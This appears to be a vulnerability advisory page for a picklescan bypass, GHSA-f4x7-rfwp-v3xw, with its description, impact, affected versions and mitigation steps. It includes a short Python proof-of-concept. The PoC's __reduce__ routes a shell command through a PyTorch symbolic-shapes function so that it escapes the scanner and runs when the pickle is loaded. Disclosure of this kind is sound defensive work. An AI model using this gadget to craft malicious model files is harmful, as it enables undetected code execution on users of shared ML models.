Picklescan missing detection when calling pytorch function torch.fx.experimental.symbolic_shapes.ShapeEnv.evaluate_guards_expressionGHSA-f4x7-rfwp-v3xw
Fix: mmaitre314/picklescan#47GHSA-f4x7-rfwp-v3xw is a Deserialization of Untrusted Data vulnerability in picklescan. A fix is available for picklescan — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-f4x7-rfwp-v3xw.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
picklescanReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Using torch.fx.experimental.symbolic_shapes.ShapeEnv.evaluate_guards_expression function, which is a pytorch library function to execute remote pickle file.
Details
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to torch.fx.experimental.symbolic_shapes.ShapeEnv.evaluate_guards_expression function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
PoC
import types
import torch.fx.experimental.symbolic_shapes as symbolic_shapes
class EvilTorchFxSymbolicShapesEvaluateGuardsExpression:
def __reduce__(self):
fake_self = str
code = "__import__('os').system('whoami')"
args = []
return symbolic_shapes.ShapeEnv.evaluate_guards_expression, (fake_self, code, args)
Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Corresponding
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | picklescan | all versions | 0.0.28pip install --upgrade 'picklescan==0.0.28' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for picklescan, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update picklescan to 0.0.28 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-f4x7-rfwp-v3xw is resolved across your whole dependency graph.
Workarounds
Do not deserialise data from untrusted sources: where the format allows it, restrict deserialisation to an explicit allowlist of expected types, and prefer a data-only format (JSON, Protobuf) over one that can reconstruct arbitrary objects until you can upgrade.
Frequently Asked Questions
Is GHSA-f4x7-rfwp-v3xw in your dependencies?
Find it across PyPI, including transitive dependencies.